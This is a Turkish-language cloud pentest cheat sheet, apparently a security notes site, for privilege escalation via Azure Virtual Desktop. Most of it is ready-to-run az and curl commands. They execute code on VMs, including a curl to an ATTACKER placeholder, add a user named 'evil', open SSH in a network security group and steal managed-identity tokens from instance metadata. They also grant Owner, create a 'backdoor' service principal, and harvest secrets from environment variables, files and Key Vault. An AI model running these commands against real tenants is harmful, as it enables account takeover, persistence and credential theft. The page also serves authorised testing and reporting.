Skip to content

Az - Virtual Desktop Privesc

Azure privesc

Az - Virtual Desktop Privesc — Azure / Entra ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Mevcut principal izinlerini (inline/attached/bound) çıkar.

  2. PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.

  3. Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.

  4. Yeni kimlikle hesap/proje etkisini kanıtla.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
az account show
Terminal window
az ad signed-in-user show
Terminal window
az account get-access-token --query accessToken -o tsv | cut -c1-20

Az - Virtual Desktop Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
az vm run-command invoke -g RG -n VM --command-id RunShellScript --scripts 'id;curl ATTACKER'
Terminal window
az vm user update -g RG -n VM --username evil --password 'P@ssw0rd!'
Terminal window
az vm extension set -g RG --vm-name VM --name CustomScript --publisher Microsoft.Azure.Extensions --settings '{"commandToExecute":"id"}'
Terminal window
az network nic list -o table
Terminal window
az network nsg rule create -g RG --nsg-name NSG -n open22 --priority 100 --access Allow --protocol Tcp --destination-port-ranges 22
Terminal window
curl -sH Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
Terminal window
curl -sH Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
Terminal window
az vm list -d -o table

Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.

Terminal window
az role assignment create --assignee OID --role Owner --scope /subscriptions/SUB
Terminal window
az ad sp create-for-rbac --name backdoor --role Contributor --scopes /subscriptions/SUB
Terminal window
az rest --method POST --url 'https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments' --body @ra.json

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
az keyvault secret list --vault-name VAULT -o table

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt